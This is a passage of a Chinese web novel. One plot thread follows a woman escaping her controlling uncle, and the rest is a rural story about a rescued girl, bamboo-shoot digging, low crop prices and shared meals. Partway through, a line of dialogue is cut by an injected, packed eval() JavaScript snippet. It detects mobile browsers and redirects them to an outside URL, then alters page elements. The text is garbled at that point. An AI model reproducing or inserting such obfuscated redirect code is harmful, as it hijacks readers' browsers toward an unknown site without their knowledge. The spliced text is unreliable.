宋鹤眠剧烈咳嗽后的脸颊还残留着不正常的红晕,她站直身体,目光冷冽地扫过书房内几个隐蔽的角落,那里或许还有别的眼睛。 然后,她什么也没说,只是拢了拢散乱的衣襟,跟随着管家的脚步,沉默地走上了通往三楼卧室的旋转楼梯。 宋家在京城根基很深,早年做进出口贸易起家,到了宋鹤眠父亲这一代,生意已经铺得很开。 她的父亲宋酩是长子,老爷子钦定的接班人,母亲温婉,一家三口过得平静。 变故发生在她十二岁那年,父母出差途中遭遇车祸,双双离世。 葬礼刚办完,二叔宋昇闵就站了出来。 “鹤眠还小。”他说,眼眶红红的,声音也哑,“公司不能没人管,我先顶着。” 老爷子那时身体已经不行了,被瞒着,等知道的时候,该签的字都签完了。 不到一年,老爷子也走了,宋昇闵顺理成章成了宋家的当家人。 外人看来,这个二叔仁至义尽,供她读书,给她生活费,逢年过节还叫她去吃饭。 只有宋鹤眠知道,那些东西不是白给的。 他不是那种人。 他不会碰她一根手指,但他有另一种方式,他喜欢掌控。 十二岁那年,她第一次发现自己的房间被装了监控。 不是浴室,不是那种地方,就是客厅、走廊、门口——刚好能看见她每天几点回家,几点出门,见了什么人。 她去问他。 他笑了笑,“怕你出事。” 她不信,但她说不出哪里不对。 后来她换了学校,是他安排的。 她原本想读的学校,被他以太远了不安全为由否决。 她反抗过,闹过,把自己关在房间里三天。 他就在门口坐了三天。 第四天她出来的时候,他递给她一杯水,“饿坏了吧?想吃什么?” 她握着那杯水,忽然发现自己不知道该怎么恨他。 他对她太好了。 好到让人分不清什么是关心,什么是控制。 她的朋友,是他筛选过的。 每次她交到新朋友,不出一个月,那个人就会慢慢疏远她。 不是他做了什么,只是他会出现,和蔼地打招呼,温和地聊几句,然后那个人就再也不敢来找她了。 她的时间,是被安排的。 几点起床,几点吃饭,几点回家,几点睡觉。 她以为是自己的习惯,后来才发现,那些都是他一点点控制出来的。 她试过反抗。 十八岁那年,她交了人生中第一个真正的朋友。 是个普通的男生,笑起来很阳光。 然后有一天,那个男生再也没来找她。 她去问,他不回消息。 她去找,他已经转学了。 后来她听说,他家里出了事,父亲的工作没了,母亲病了,不得已搬去了外地。 她站在宋昇闵面前,浑身发抖,“是你干的。” 他看着她,没承认,也没否认,只是笑了一下。 那个笑容她永远忘不了,温和的,慈爱的,像一个真正的长辈。 “鹤眠。”他说,“那些人配不上你。” 她那天冲了出去,在街上走了很久。 后来她回家了。 不是原谅,是发现无处可去。 那栋老宅,早在她十八岁那年,被他为了她好卖掉了。她名下的钱,每一笔都有他的签字。她住的房子,是他安排的。她用的手机,是他送的。 她跑不掉。 他不要她的身子,他只要她听话。 摧残一个人的方式有很多种。 他觉得,比起占有,摧毁一个人的理智更有意思。 让她分不清什么是关心什么是控制。让她不知道该恨他还是该谢他。让她在每一次想要反抗的时候,发现自己已经无力反抗。 这才是他要的,她花了十年才想明白这一点。 后来她不再哭了,眼泪没有用。 她开始查当年的车祸。 肇事司机是临时工,当晚就跑了,三天后自首,判了三年。 一切都太干净了,干净得像被人擦过。 她继续查。 查了五年。 那五年里,她学会了隐藏,学会了不动声色,学会了在他面前笑着说“谢谢叔叔”,学会了每一次他靠近的时候,心里恨着,脸上却平静如水。 也学会了等,直到三个月前,她拿到了那份材料。 宋昇闵那个项目有个漏洞,藏得很深,但被她挖出来了。 走进那间装修奢华却冰冷如囚笼的房间,听着身后传来清晰而沉重的门锁落下声,宋鹤眠眸底的冷意才一层层蔓延开来,直至覆盖整个瞳孔。 她没有试图去开门,也没有任何歇斯底里的举动。 她走到书桌前,打开了自己的笔记本电脑。她的手指在键盘上飞快地敲击,一串串代码闪过,很快,她悄无声息地黑进了这栋别墅的完整监控系统后台。 调取时间,定位书房。屏幕上出现了刚才那间书房的实时监控录像回放。 画面中,男人单手掐着她的脖颈,将她提离地面,神色狠戾,而她的挣扎显得如此徒劳和脆弱。 宋鹤眠面无表情地看着,眼神平静无波,直到将这段关键视频完整地备份、加密,传输到数个绝对安全的云端存储点。 做完这一切,她才切出监控界面,打开了一个加密的通讯软件。 列表里联系人不多,她找到傅拭雪。 [宋鹤眠:听说,你那个刚认回来的弟弟,最近打算去“体验生活”,目的地……好像是你那儿?] 消息发出后几秒,对方回复了一个简单的问号。 [傅拭雪:?] 宋鹤眠唇角极淡地弯了一下,继续打字。 [宋鹤眠:你这个弟弟……还挺有意思的。至少,比我想象中有意思。] [傅拭雪:??] [宋鹤眠:我有一个计划,或许……我们可以合作一下。] [傅拭雪:???] 屏幕那头的傅拭雪显然被这没头没尾、信息量却巨大的几句话弄得有些茫然,接连回了三个问号。 最后,或许是出于某种了解,他还是忍不住多问了一句。 [傅拭雪:你想做什么?] 宋鹤眠没有立刻回复。她端起旁边已经冷掉的茶,慢条斯理地喝了一口。 傅拭雪等了很久,都没有收到回复。 他就将手机阖上,去楼下买了盒饭上来。 此时,手机震动了一下。 他再度打开,宋鹤眠发来一大段文字。 看完宋鹤眠的计划,他微蹙眉。 [傅拭雪:你是认真的?] [宋鹤眠:认真的。] 傅拭雪看着屏幕上那四个字,忽而轻笑出声。 [傅拭雪:欢迎。] 发送完这条消息后,宋鹤眠那边便再没有了回应 傅拭雪浅笑着摇头,家里日后要热闹了。 他将注意力转回眼前,拿起从楼下食堂买上来的几份盒饭,走到病床边的小桌旁摆开,“饭来了,都吃点东西。” - 翌日,阳光透过百叶窗的缝隙,在病房地板上投下明暗相间的条纹。 昨天那两位女警再次来到了医院,给守了一夜的傅拭雪等人带来了消息。 经过医院的伤情鉴定报告、警方在沈家所收录下的证据以及村里邻居的口供证明,沈家夫妇被处以拘留、罚款等处罚。 听到这个消息,一直强作镇定的沈摘星,眼眶瞬间就红了。 她用力眨了眨眼,想要扯出一个如释重负的笑容,可泪水却比她的嘴角更快地滑落下来,滴在手背上,滚烫。 “谢谢……谢谢你们……”她的声音哽咽,却带着前所未有的轻松。 一位女警抽了张纸巾,动作轻柔地帮她擦去脸上的泪痕,然后在沈摘星的目光中,从公文包里拿出两本小册子,坐到了病床边的椅子上。她翻开其中一本,声音不高,却字正腔圆清晰。 “根据我国《民法典》第三十六条,监护人实施严重损害被监护人身心健康的行为,被监护人或有关组织和个人可以申请人民法院撤销其监护人资格……人民法院会根据最有利于被监护人的原则,依法指定监护人。” 她又翻开另一本,“根据《未成年人保护法》第九条,父母必须使适龄未成年人接受义务教育……第十一条,不得迫使未成年人结婚或订立婚约……第十二条,监护人不履行监护职责或侵害未成年人合法权益的,应当依法承担责任……” 她将这些条款,一条一条,用最平实却最有力的语言,清晰地读给沈摘星听,也读给病房里的其他人听。 一字一句地将法律摊开,深深地镌刻进在场人的心里。 这不是冰冷的法条,而是撑在她头顶,可以依仗的盾牌和武器。 最后,女警将这两本薄薄却重若千钧的法律宣传册,郑重地放在了沈摘星的手里。 “摘星,记住这些,”女警看着她,目光坚定而温暖,“这些都是你可以用来保护自己的方式。法律是你的盔甲。” 她的声音不大,但铿锵有力。 “相信国家,相信我们。” “我们永远是你们最坚固的后盾。” 沈摘星的手指微微颤抖着,指腹轻轻拂过册子上凹陷下去的印刷字体,喉咙发紧,重重地点头,“嗯!谢谢!我……我会记住的。我也会去拜托村委会的叔叔阿姨,帮我申请撤销他们的监护人资格……” 女警看着这个历经磨难却依旧坚强的小女孩,心软得一塌糊涂。 她俯身,轻轻将沈摘星拥入怀中,像安抚一个受了委屈的孩子,在她耳边轻声鼓励,“嗯,一定要记住。你很厉害,非常非常棒。以后,要勇敢地,一而再,再而三,三而不竭,千次万次地,毫不犹豫地,拯救自己于这世间的水火之中。” 沈摘星将脸埋在女警温暖的肩头,用力点头,泪水再次汹涌而出,但这一次,是冲刷掉阴霾带着希望的泪水。 她在心里,一遍遍对自己重复,“我是一个坚强的人,一个勇敢的人,一个无畏的人。” 在医院里观察治疗了三天,沈摘星的身体指标基本稳定,获准出院。 傅拭雪三人小心地将她接回了小院。 李乘歌特意将院子里最舒服的那张竹摇椅搬到阳光最好的角落,铺上软垫,笑着对沈摘星说,“多晒晒太阳,补钙,对身体恢复好。” 然后把毛茸茸的米饭团子塞进她怀里。 看着沈摘星安静地抱着小狗坐在阳光里,李乘歌才招呼傅拭雪和夏叙言,三人一起动手,利索地将之前闲置的一张单人木床搬进了李乘歌的房间,仔细擦洗干净,铺上晒得蓬松柔软满是阳光气息的被褥枕头。 “以后这里就是你的房间了,和我们一起。”李乘歌整理着床角,语气自然得像在说一件再平常不过的事。 沈摘星抱着米饭,看着他们为自己忙碌的身影,眼眶又有些发热,但她忍住了,只是更紧地抱住了怀里温暖的小生命。 布置好房间,三人从屋里出来。李乘歌怕沈摘星一个人坐着不自在,便也搬了个小凳,抱着个抱枕坐到她旁边,有一搭没一搭地和她说着闲话。夏叙言则伸着手指,小心翼翼地逗弄着沈摘星怀里的小狗,小家伙舒服地打着呼噜。 傅拭雪抬头看了看天色,下午两点的阳光正好,但厨房储备需要补充了。 他走进厨房看了看,冰柜里还有半块没吃完的咸肉和火腿,灶台上放着早上李伯母送来的新鲜莴笋,前院自己撒的青菜种子也冒了尖,绿油油一片。 他走回院子里,征询大家的意见,“晚上我们吃腌笃鲜怎么样?天气还有点凉,喝点热汤暖暖胃。” 李乘歌正被太阳晒得有些昏昏欲睡,从抱枕里抬起头,嗓音温软地应道,“好呀~” “还有其他想吃的吗?”傅拭雪往前走了几步,离她们更近一些。 夏叙言眼睛一亮,如数家珍般报出一堆菜名,“白灼虾!肉末蒸蛋!红烧猪蹄!糖醋排骨!清蒸鲈鱼……” 每道菜都是高蛋白,显然是在为沈摘星的身体恢复考虑。 “你倒是会吃。”傅拭雪忍俊不禁地吐槽。 夏叙言耸了耸肩,两手一摊,表情夸张,“没办法,人生在世,吃喝二字。我就这点追求,也就这些好吃的还能引起我一点兴趣了。” 他巴拉巴拉说了一堆,发现还有一个人没开口,便转过头,看向一旁的沈摘星,语气放柔,“摘星,你呢?有没有特别想吃的?” 被突然点到名字,沈摘星下意识地坐直了身子,有些紧张地轻咬了下嘴唇。脑海里瞬间闪过很多以前想吃却不敢提或者根本吃不到的东西,但话到嘴边,又变成了习惯性的忸怩和不安,“我……我都可以的。” “都行?”傅拭雪瞬即从小动作里读出了她的拘谨和小心翼翼,他放柔了声音,像是在引导,“摘星,在这里,你可以放松一点,想说什么就说什么,想吃什么就提出来。不需要这么小心。试着放开一些,你会更自在,我们也更能知道怎么照顾你,好吗?” 李乘歌也伸出手,轻轻握住了她有些冰凉的手,掌心的温暖源源不断地传递过去,“是啊,摘星,你就真的没有一道特别想吃的菜吗?哪怕只是一道很简单的菜。” 感受到手心的温度和两人温和鼓励的目光,沈摘星紧绷的神情松动了些。 她仔细想了一会儿,声音虽然还是很轻,却清晰了许多,“我……我想吃炒青菜。就是……只用油和盐炒的那种,绿油油的。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310822|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好!”傅拭雪立刻应下,语气肯定,“炒青菜,记下了。我等会儿就去镇上买新鲜的小油菜和虾。叙言,腌笃鲜需要不少鲜笋,后山的笋正当时,等会儿你去挖两斤回来?” “没问题,包在我身上。”夏叙言拍胸脯保证。 任务分配完毕,傅拭雪便开车去镇上采购了。 夏叙言也回屋换了一身耐脏的旧衣服,提起厨房墙角的竹篮准备出门。 “夏叙言。”身后传来李乘歌的声音。 他回头,看见李乘歌已经拿起了靠在墙边的锄头,而沈摘星也站了起来,眼巴巴地看着他。 “我陪你一起去吧。”李乘歌说。 “我也去。”沈摘星的声音不大。 夏叙言还是有些不放心,担忧地问,“上山很累,你的身体还没恢复呢。” 沈摘星摇头,“我可以的,医生说了,偶尔的运动也可以加快身体的恢复。” 看着她的态度,夏叙言轻叹一声,妥协了,“好吧,但如果身体感到有一丝的不适,你都要和我们说。” “嗯。”沈摘星点头。 山间的空气清新湿润,带着泥土和竹叶的芬芳。潺潺的泉水顺着石缝流淌,发出悦耳的声音,林间不时传来几声清脆的鸟鸣。 三人选了一条相对平缓的小路,李乘歌牵着沈摘星的手,夏叙言在前面探路,稳步向上走去。 爬了一小段,前方传来吭哧吭哧的挖土声。抬头望去,半个山头之上,一个熟悉的身影正在埋头苦干。 “二伯母!”李乘歌扬声喊道,朝上面挥了挥手。 正在奋力挖笋的二伯母闻声抬起头,抬手用衣袖擦了擦额头上快流进眼里的汗水,看到是他们,脸上立刻绽开朴实的笑容,“乘歌!你们也来挖笋啊!” “是啊!”李乘歌应着,也开始寻找合适的笋,找到后,小心地用锄头挖出,拂去上面的泥土,然后递给身边的沈摘星,让她放进篮子里。 “乘歌啊。”二伯母一边继续手上的活儿,一边喘着气问,“拭雪他在家不?下午有空吗?二伯母想请他帮个忙,运点东西。” “他去镇上买菜了,应该快回来了。”李乘歌回头答话,“等他回来我帮您问问他。” “哎,好!那伯母就等你消息了!”二伯母笑得敦厚。 日光渐渐西斜,不一会儿,他们带来的竹篮就装满了鲜嫩的春笋。 李乘歌掂了掂篮子,满意道,“行了,这些做一顿腌笃鲜绝对够了。” 沈摘星乖巧地点头,“嗯。” “任务完成!”夏叙言挑眉,拍了拍手上的土,“既然够了,那咱们就打道回府?” 李乘歌的目光却再次投向山腰处,二伯母独自一人,略显佝偻却依旧奋力劳作的身影。 她想了想,对夏叙言说,“叙言,你先带摘星回去吧,她需要休息。我去帮二伯母再挖一会儿。” 夏叙言顺着她的视线看了看,明白了她的心思,点点头,“好,那我先带摘星回去。你一个人小心点。” “放心吧。” 夏叙言带着沈摘星下山后,将人安顿在院子里休息,自己却换了双更结实的鞋,又悄悄地回到了山上。 看到去而复返的夏叙言,李乘歌有些意外,“你怎么又上来了?” 夏叙言用鞋尖踢了踢旁边一个小土堆,侧头低声道,“多一个人,多一份力。让你和伯母两个人挖,太慢了。” 他目光一扫,看到右上方还有一片笋长得不错,指了指,“我去那边。” 李乘歌温和地笑了一下,“谢谢。” 夏叙言摆了摆手,目光微挑就看到右上方有一片未挖的笋地,他指了指,“我去那边挖了。” 李乘歌看着他转身走向另一处的背影,心里一暖,轻轻应了一声,“嗯。” 三人又齐心协力挖了半个多小时,山脚下已经堆起了两个鼓鼓囊囊的大麻袋。 李乘歌挖出脚下最后一颗粗壮的笋,才直起腰,长长地舒了一口气,感觉腰背有些酸。她将锄头放在一边,双手轻轻捶打着后腰。 就在这时,她似乎感应到什么。 抬眸就见傅拭雪站在山脚处,一双明澈的双眸正看着她,见她的视线对了过来。 傅拭雪侧了侧头,嘴角勾起一抹清浅而温和的笑意,然后举了举手中的锄头,朗声道,“我也来帮忙。” 在他身后,还跟着一个娇小的身影,是休息好了的沈摘星。 她眨巴着那双小鹿般清澈的眼睛,努力挥了挥小手,“乘歌姐姐!我休息好了!我也来帮忙!” 其实,回家前沈摘星就猜到李乘歌肯定会留下来帮二伯母。 她知道自己身体还没完全恢复,硬要留下反而添乱,所以才听话地先跟夏叙言回去休息。 但躺了没一会儿,感觉恢复了些力气,她就坐不住了,正好傅拭雪回来,她便连忙拉着他一起又上了山。 阳光从竹叶的缝隙间斜斜洒落,光影斑驳,如同跳跃的金色音符,轻轻打在他们的身上。一阵山风吹过,带来竹叶沙沙的声响,也拂起了李乘歌额前被汗水沾湿的碎发。 她就那样站在原地,任由温暖的阳光和清凉的山风将她温柔地包裹。 瞬息,她缓缓回过头。 身后,是还在奋力挖笋的夏叙言,是擦着汗对她憨笑的二伯母。 身前,是正稳步走上来的傅拭雪和沈摘星。 风再次拂过她的发梢,带着山野特有的清新气息。 李乘歌的嘴角一点点上扬,眼底一点点地变得无比柔和,那里面像是蕴着一汪被阳光晒暖的泉水,温热而明亮。 这一次,她的身后,不再是空荡荡的山野,也不再是冰冰冷冷需要独自面对的世界。 她深吸一口气,朝着山谷,朝着所有关心她、她也关心着的人们,大声呼喊: “谢谢——!” - 太阳一点一点向西边的山脊滑落,橙红色的光芒将连绵的青山染上了一层温暖的釉色。 经过两个多小时的辛勤劳作,半座山头的春笋被尽数挖出,打包整齐,塞满了小皮卡的后车厢。 二伯母拉着傅拭雪的手,不放心地再三叮嘱,“下村村口,门牌177号,卫建国家,可千万别送错了啊!” 傅拭雪耐心地点头,宽慰道,“嗯,记住了,伯母您放心。” 等李乘歌也坐上车,傅拭雪发动了引擎。银白色的小皮卡沿着蜿蜒的山路,在叠翠的峰峦间向着远方的村落驶去,不一会儿就消失在了苍茫的暮色与炊烟之中。 李乘歌将副驾驶的车窗摇下一半,带着草木清香的晚风立刻灌了进来,吹散了劳作后的疲惫。 公路两旁是一望无际泛起波浪的翠绿麦田,长势喜人。 她将胳膊搭在窗沿上,下巴轻轻搁在上面,目光流连在那一大片充满生机的绿色里,轻声感叹,“傅拭雪,你看这边的麦子,长得真好。” 她说的声音很轻,但还是落在了傅拭雪的耳里。 傅拭雪一边专注地开车,一边顺着她的目光看了一眼,应道,“嗯,是很好。” 李乘歌转过头来看他,眼睛弯成了月牙,语气里带着憧憬和笃定,“但我觉得,咱们地里的那些,也不差!等到六月,我们一定能迎来大丰收!” 傅拭雪握着方向盘,目视前方,嘴角也带着淡淡的笑意,从容而肯定地回答,“会的。” “傅拭雪。”李乘歌又开口,想起另一件事,“土壤检测报告,大概还要多久才能出来啊?” “快了。”傅拭雪回答,“检测站那边联系过,说是数据基本出来了,正在出正式报告,大概就这一两天吧。” “嗯……”李乘歌点点头,目光又投向窗外不断掠过的田野和村庄,两人有一搭没一搭地聊着天,时间过得很快。 …… 小皮卡稳稳地驶入了下村,按照门牌号,很快找到了177号。 这是一个典型的农家小院,白墙灰瓦,院门敞开着,能看到里面收拾得整齐的院落。 傅拭雪将车停在院门口,下车,朝里面扬声问道,“请问,卫建国家吗?有人在家吗?” “有人!” 他的话音刚落,院子里就传来一个中气十足的回应声。随着一阵脚步声,一个皮肤黝黑身材敦实的中年男人从屋里快步走了出来,手里还拿着块毛巾在擦手。 小院的门打开,两人都明显愣了一下。 傅拭雪的眉头几不可察地动了一下。 眼前的男人,正是那天在镇上,以七毛钱一斤的价格收购春笋的那个小贩。 卫建国也认出了傅拭雪,脸上闪过一丝复杂的神色,但很快被一种庄稼人的朴实和些许尴尬掩盖。 他搓了搓手,不太自然地笑了笑,“是你啊……小伙子。” 14. 价低 卫建国显然也没想到送笋的会是傅拭雪,脸上闪过一丝惊讶,眼神不自觉地往他身后那辆装满笋的车厢打量。 他疑惑开口,“你这是卖笋?” 傅拭雪闻言,后退了小半步,确认了一下门牌号——177号,没错。他站到车身一侧,将刚才一瞬间翻涌起的复杂情绪压了下去,抬眸看向男人,语气平淡地解释,“是李家伯母,托我把这些笋送过来。” “哦!李家嫂子啊!”听到是熟人,卫建国的神情立刻明朗了许多,脸上露出了朴实的笑容。 他连忙侧身,将院子的大铁门完全推开,朝里面指了指,对傅拭雪说,“车开进来吧,里面宽敞。” 傅拭雪没再多言,转身上了车,缓缓将小皮卡开进了院子。 卫建国在前面引路,走到院子深处一片空旷的水泥地前站定,朝他招手。 傅拭雪把车停稳,熄了火。 “卸这儿就行。”卫建国说着,已经走到了车厢后。 傅拭雪解开安全带下车,和李乘歌一起,打开后车厢的门。 三个人合力,将车里近三百斤的春笋,一袋袋搬下来,堆在空地上。 清点完毕,卫建国拍了拍手上的泥,从裤兜里掏出一个用橡皮筋扎着卷得厚厚的零钱卷。 他熟练地解开橡皮筋,抽出里面几张面额较大的,又数了数几张小额钞票和硬币。 “一共是两百八十四斤……”他嘴里念叨着,手指飞快地计算,“七毛一斤……嗯,一百九十八块八。给你凑个整,两百块。” 说完,他抽出两张皱巴巴的红色百元钞票,递给了站在一旁的李乘歌。 李乘歌下意识地伸出手,那两张带着体温和些许汗渍的钞票落在了她的掌心。 她垂眸看着,指腹摩挲过粗糙的纸面。然后,她的目光缓缓移开,落在了旁边那堆积如小山般的笋堆上。 那是卫建国今天从各处收来的,相比之下,她们的笋比起那些来说,也不过是小小一摞。 她沉默着,没有说话。 一股难以言喻的酸涩感堵在胸口,上不来,也下不去,沉甸甸的。 她知道。 明明她知道这些小贩收的价位是这样的。 可是,“知道”和“亲身经历”是两回事。 尤其是当她走出过大山,在城市里生活过,见识过外面的人力成本有多高,见识过超市里包装精美的农副产品标价几何,更清楚这收购价与终端售价之间存在着怎样巨大的鸿沟。 心里就更加难受了。 农民面朝黄土背朝天,辛苦精心侍弄出的收成,在他们自己手里,往往就值这么点钱。 七毛钱一斤的笋。 这个数字,轻飘飘的,却像一块沉重的石头,压在她的心口。 而这样被压到几乎称得上“廉价”的农产品,在这个村子里,在这个镇上,在这个广袤的乡土中国,又何止千千万万。 李乘歌脸上的神色并没有什么大的变化,但那双总是明亮温和的眼睛里,光彩却在一点一点地黯淡下去。心头的思绪翻江倒海,目光从掌心的红色钞票,移向院墙外那片在暮色中依旧青翠的田野。 一种深深的无力感,像疯狂生长的藤蔓,从脚底缠绕上来,一圈又一圈,勒得她有些喘不过气,仿佛要将她拖入一个漆黑无光看不到前路的漩涡。 她慢慢地蹲下身,手臂环抱住自己的膝盖,将脸埋了进去,声音闷闷的,低低的,像是自言自语,“傅拭雪……你知道一个词吗?” “什么词?”傅拭雪站在她身边,看着她缩成一团的背影。 “谷贱伤农。”李乘歌轻声吐出了这四个字。 傅拭雪一怔,这个词,他当然知道。 这不仅仅是书本上的一个经济学概念,更是千千万万农户可能面临的现实困境。 明明农产品产量上去了,收获时也是一个大丰收。 可是,当你出售后,却会发现是迎来了大丰收,但却没挣到多少钱。 农产品是人们生存的必需品,每个人对于这类必需品的需求一般都是持续稳定的,在这一方面的需求,几乎无人会有太大的改变。 当人们的需求不变时,每年人们吃去的粮食基数基本相同,自然市场上需要的粮食总量也不会变。 即使是丰收的年份,当市场上的粮食大于需求时,很多农户只能在大幅降低粮价后才能将手中的粮食卖出。 这就会导致产出比之前更多的粮,但收益就不如之前的现象。 这是付出与收益之间的不平衡。 他垂眸看着蹲在地上,把自己缩成小小一团的李乘歌。她能感受到这种切肤之痛,因为她本就来自这片土地,她的根扎在这里。 对视了数秒钟,傅拭雪也缓缓蹲下身,与她保持平视。他的声音依旧温润,却在那份平和的底色下,透出一种沉稳而笃定的力量,甚至隐藏着几分不易察觉的想要改变的野心。 “不会一直都是这样的。”他说,“会好的。” “这个世界上,没有什么是永恒不变的,也没有什么是不可撼动的。”他望着她低垂的睫毛,声音很轻,却字字清晰,“一个人,或许很难改变一个已经被固化了很久的规则或局面。但是,一群人呢?再微小的力量,只要汇聚在一起,朝着同一个方向努力,日积月累,也可能拥有移山填海的力量。” 他顿了顿,目光温和而坚定地落在她重新抬起的脸上,“我想告诉你的是,李乘歌,你不是一个人。” 咚。 像是有一颗小石子,轻轻地,却又无比清晰地,投入了她沉寂的心湖。 水面之上,只是漾开了一圈极淡的涟漪,连她自己都未曾立刻察觉这微小的触动所带来的重量和潜在的改变。 他就这样蹲下来,与她平视,用这种平等的不带任何说教意味的姿态,说着这些有力量的话。 许是这份真诚和共情真的安慰到了她,又或许是那“一群人”的说法让她看到了一丝微光。 李乘歌从臂弯里抬起了头,眼眶有些红,但眼神已经清亮了许多。 她看着傅拭雪,轻轻吸了吸鼻子,声音带着一点鼻音,却不再低沉,“傅拭雪……我们回家吧。” “嗯。”傅拭雪应着,伸手,绅士地扶住她的胳膊,帮她稳稳地站了起来,“回家。” 他没有再多说什么安慰或激励的话,有些事情,需要自己去看清、去消化、去生出内在的力量。 “你在这里等我,我去把车开过来。” - 回到小院时,天色已经完全暗了下来,但院子里暖黄的灯光和厨房里透出的光亮,却让人觉得无比温暖安心。 傅拭雪走进厨房,准备开始做晚饭,却惊讶地发现,灶台旁的备菜架上,所有的食材都已经处理得干干净净、整整齐齐。 莴笋切成了均匀的滚刀块,鲜笋剥好了壳,百叶结泡在清水里,小油菜摘好了,甚至连葱姜蒜都已经切好备在碗里。 “这些菜处理得怎么样?”夏叙言的声音从身后传来,带着点小小的得意。 傅拭雪微挑眉头,有些意外,“这些都是你一个人处理的?” “哪能啊!”夏叙言一边摇头一边走进来,嘴上碎碎念着,“摘星跟我一起弄的。傅拭雪我跟你说,你别看摘星年纪小,干起活来那叫一个利索,手又快又稳。洗菜、择菜、切菜,样样都像模像样,我在她面前还真没法比,也就打打下手。” 傅拭雪听着他的念叨,眼里带着笑意。 他走到土灶前的小板凳上坐下,拿过一旁的引火柴和打火机,“嚓”一声点燃,小心地放进灶洞里。干燥的柴火很快被引燃,橘红色的火焰跳跃起来,带来融融暖意。 “你也很厉害。”傅拭雪的声音在噼啪的柴火声中显得格外温润,“这些菜洗得特别干净,摆放得也整齐。每个人擅长的领域不一样,没必要非去比较什么。” 他站起身,拍了拍夏叙言的肩膀,顺手将烧火用的火钳递给他,“就像种地,乘歌和摘星有从小耳濡目染的经验,你呢,有出色的沟通和协调能力,我嘛,可能对数据和规划更敏感一些。我们在不同的环节,各司其职,发挥各自的长处就好。” 他顿了顿,用略带诙谐的语气补充道,“就比如这烧火,你烧的火,火候总是最旺最稳当。所以,今晚这烧火大任,就交给你了。” 说完,他系上围裙,走到另一边的大灶前。 锅里舀入清水,放入洗净的猪蹄,随手撒入一把准备好的葱姜料酒。趁着猪蹄焯水的功夫,他拿出竹篮里的莴笋,指腹稳稳按住圆滚滚的笋身,菜刀斜着切下,手腕轻转,莴笋滚动,每一刀下去都是均匀漂亮的滚刀块。不一会儿,白净的瓷碗里就堆满了碧绿清脆的笋块。 处理好莴笋,锅里的水也沸了。 他将猪蹄捞出,用温水冲去浮沫。刷干净大锅,热锅凉油,等油温升起,放入几颗冰糖。铁勺顺着锅底缓缓画圈,冰糖在热油中融化,渐渐变成诱人的焦糖色。 他将沥干水的猪蹄块倒进去,“刺啦”一声,浓香四溢。快速翻炒让每一块猪蹄都裹上糖色,接着放入八角、香叶,淋入老抽和生抽调味上色。 翻炒均匀后,他将所有猪蹄转入一个厚重的砂锅,加入足量热水,盖上盖子,放到一旁的煤炉灶上,让小火慢慢地煨炖。 红烧猪蹄需要至少一个小时的慢炖,让它在一旁安静地酝酿美味。 傅拭雪转身开始处理其他食材,他从房梁上取下一块保存完好的腊肉,腊肉呈现出漂亮的琥珀色和脂玉白,肥瘦相间的纹理清晰诱人,他利落地将腊肉切成薄薄几乎透光的片。 待铁锅烧热冒起青烟,他将腊肉片贴着锅边缓缓放下,“滋啦”声中,咸香的油脂被逼出,瞬间满屋生香。 腊肉炒香,立刻倒入准备好的莴笋块和鲜笋块,翻炒几下,让蔬菜吸收腊肉的咸鲜。然后加入热水没过食材,放入泡软的百叶结和木耳。 锅铲在他手中灵活地翻动着,油脂融入汤中,汤色渐渐变得醇白,瘦肉酥软,蔬菜清甜,一锅地道的腌笃鲜初具雏形。 金乌西坠,最后一点余晖将厨房的屋檐染成金灿灿的颜色。 屋顶的烟囱里,炊烟袅袅升起,融入暮色,带来人间烟火最踏实的信号。 李乘歌擦着湿漉漉的头发从屋里走到院子,目光自然而然地被厨房里那两个忙碌又和谐的身影吸引。 锅铲碰撞的清脆声响,柴火噼啪的温暖声音,还有隐约传来的食物香气,让她有些出神。 直到沈摘星的声音将她唤回,“乘歌姐,你怎么没吹头发就出来了?晚上风凉,会感冒的。” 小姑娘皱着小眉头,一脸不赞同,把手里的米饭放回它的小窝,转身就跑回屋里,很快拿了一个吹风机出来。 她熟练地插上电,调到合适的温度和风力,朝李乘歌招手,“乘歌姐,过来,我帮你吹干。” 李乘歌摸了摸还在滴水的发梢,这才意识到自己的疏忽,笑着走过去,“哎呀,我都忘了,谢谢我们小摘星。” 沈摘星个子比李乘歌矮一些,李乘歌便在旁边的小凳上坐下。温热的风从风筒里均匀吹出,轻柔地拂过潮湿的发丝。 沈摘星的手指穿过她的长发,动作小心而温柔,一点点将打结的地方梳开。 耳边是吹风机嗡嗡的低鸣,鼻尖是洗发水淡淡的清香和厨房飘来的饭菜香。 李乘歌舒服地眯起了眼睛,脑袋不自觉地向后,轻轻靠在了沈摘星柔软的腹部。 “小摘星。”她轻声唤道。 “嗯?我在呢,乘歌姐。”沈摘星从后面探出个小脑袋。 “我突然感觉自己……好幸福呀。”李乘歌的声音里带着一丝感慨,还有满足的喟叹。 沈摘星有些不解,“为什么是‘突然’感觉呢?” 李乘歌笑了,目光依旧落在厨房那边,声音轻柔却坚定,“因为我不是一个人了。” 沈摘星顺着她的视线望去,看到厨房暖光下傅拭雪专注的侧影和夏叙言添柴时认真的表情,明白了她的意思。 她也轻轻地“嗯”了一声,手下吹头发的动作更轻柔了。 院子里,暮色四合,灯火可亲,岁月仿佛在这一刻静止,流淌着静谧而温暖的美好。 当湿发在热风中彻底变得蓬松干燥,沈摘星关掉吹风机的时候,傅拭雪那边的最后一道清炒小油菜也正好出锅。 “吃饭啦——”傅拭雪端着热气腾腾的砂锅走到院中的石桌旁,扬声招呼,“大家快洗手,饭菜趁热吃才香!” 李乘歌牵着沈摘星去水池边洗手。夏叙言则忙着打开前几天他兴致勃勃买回来并装好的小型投影仪,将幕布挂在屋檐下。 “大家想看什么电影?或者综艺?随便点!”夏叙言握着遥控器,目光扫过石桌旁的众人。 李乘歌正好擦着手走过来,她一边将洗得干干净净的碗筷依次摆放在每个人面前,一边笑着应和,“都行,你放什么我们就看什么。” “真没特别想看的?”夏叙言再次确认。 